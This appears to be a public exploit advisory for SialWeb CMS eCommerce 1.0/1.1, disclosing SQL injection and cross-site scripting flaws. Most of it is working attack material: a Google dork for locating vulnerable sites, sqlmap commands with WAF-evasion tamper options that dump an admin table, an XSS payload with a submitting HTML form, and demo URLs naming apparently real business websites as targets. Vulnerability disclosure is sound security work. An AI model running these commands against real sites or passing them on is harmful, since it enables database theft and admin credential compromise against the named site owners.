SialWeb CMS eCommerce 1.0 / 1.1 Cross Site Scripting / SQL Injection

SialWeb CMS eCommerce versions 1.0 and 1.1 suffer from cross site scripting and remote SQL injection vulnerabilities.


MD5 | 021a0342dc5b51e21a3e55d703f986bc

# Exploit Title: SialWeb CMS SQL Injection & XSS Vulnerability
# Google Dork: intext:" By Sial Web" +inurl:/.php?id=
# Date: 2020-03-22
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://sialweb.net/
# Tested on: Ubuntu

---------------------------------------------------------

PoC 1:
The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce follow the provided information and steps below to continue.

Payload(s)

http://www.zaryabind.com/about.php?Id=[]'[SQL INJECTION VULNERABILITY!]

SQLMAP Payload(s):

sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs

sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D zaryabin_db --tables

sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D zaryabin_db -T tbl_admin

*Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..above )

PoC 2 :

XSS Vulnerability

Payload(s) :

in Search box use payload:
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

<html>
<body>

<div id="search-category" class="input-group">
<form class="search-box" action="https://www.megafightgear.com.pk/search.php" method="post">

<input class="form-control" placeholder="Search here..." id="text-search" name="tsearch" value="<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>" type="search">
<button id="btn-search-category" type="submit">
<i class="fa fa-search">&nbsp;</i>
</button>
</form>
</div>
</body>
</html>

demo(s):

http://www.zaryabind.com/about.php?Id=4%27
https://www.megafightgear.com.pk/about.php?Id=1%27
http://www.aplus.com.pk/about.php?Id=3

Sent with [ProtonMail](https://protonmail.com) Secure Email.

Related Posts